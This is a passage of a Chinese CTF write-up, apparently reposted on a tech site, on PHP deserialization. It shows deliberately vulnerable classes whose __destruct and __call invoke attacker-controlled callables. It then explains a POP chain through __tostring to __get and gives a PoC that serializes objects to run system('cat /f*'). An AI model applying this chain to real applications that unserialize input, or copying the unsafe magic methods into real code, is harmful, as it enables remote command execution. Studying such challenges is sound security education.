  4.  
     
  5.  
    public function __construct(){
  6.  
    ini_set('error_log','/var/www/html/log/error.txt');
  7.  
    ini_set('log_errors',1);
  8.  
    }
  9.  
     
  10.  
    public function __tostring(){
  11.  
    $test=$this->message->{$this->test};
  12.  
    return "test";
  13.  
    }
  14.  
    }

User.class.php

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    class User{
  4.  
    public $username;
  5.  
    public $password;
  6.  
     
  7.  
    public function login(){
  8.  
    include("view/login.html");
  9.  
    if(isset($_POST['username'])&&isset($_POST['password'])){
  10.  
    $this->username=$_POST['username'];
  11.  
    $this->password=$_POST['password'];
  12.  
    if($this->check()){
  13.  
    header("location:./?c=Files&m=read");
  14.  
    }
  15.  
    }
  16.  
    }
  17.  
     
  18.  
    public function check(){
  19.  
    if($this->username==="admin" && $this->password==="admin"){
  20.  
    return true;
  21.  
    }else{
  22.  
    echo "{$this->username}的密码不正确或不存在该用户";
  23.  
    return false;
  24.  
    }
  25.  
    }
  26.  
     
  27.  
    public function __destruct(){
  28.  
    (@$this->password)();
  29.  
    }
  30.  
     
  31.  
    public function __call($name,$arg){
  32.  
    ($name)();
  33.  
    }
  34.  
    }
学新通

 头部在User类的__desctruct中,然后尾部是在Files类中的__get中,里面可以执行任意命令;头部首先进入了__desctruct()后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User类的check()方法中,然后这里有echo,以字符串的形式输出对象,然后就会跳到Myerror类中的__tostring()方法中,然后它里面的$this->test是可控的,我们让它等于一个Files类里面没有的属性就行了,就可以直接调用__get方法了,并且给$key赋值

poc链: 

  1.  
    <?php
  2.  
    class Files{
  3.  
    public $filename;
  4.  
     
  5.  
    public function __construct(){
  6.  
    $this->arg = 'cat /f*';
  7.  
    }
  8.  
    }
  9.  
    class Myerror{
  10.  
    public $message;
  11.  
     
  12.  
    public function __construct(){
  13.  
    $this -> test = 'system';
  14.  
    $this -> message = new Files();
  15.  
    }
  16.  
    }
  17.  
    class User{
  18.  
    public $username = 'admin';
  19.  
    public function __construct(){
  20.  
    //$this -> password = [$this,"check"];
  21.  
    $this -> username = new Myerror();
  22.  
    }
  23.  
     
  24.  
    }
  25.  
    $a = new User();
  26.  
    $a -> password = [new User(),"check"];
  27.  
    echo serialize($a);
学新通

后面理解有点费劲了

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfigbgg
系列文章
更多 icon
同类精品
更多 icon
继续加载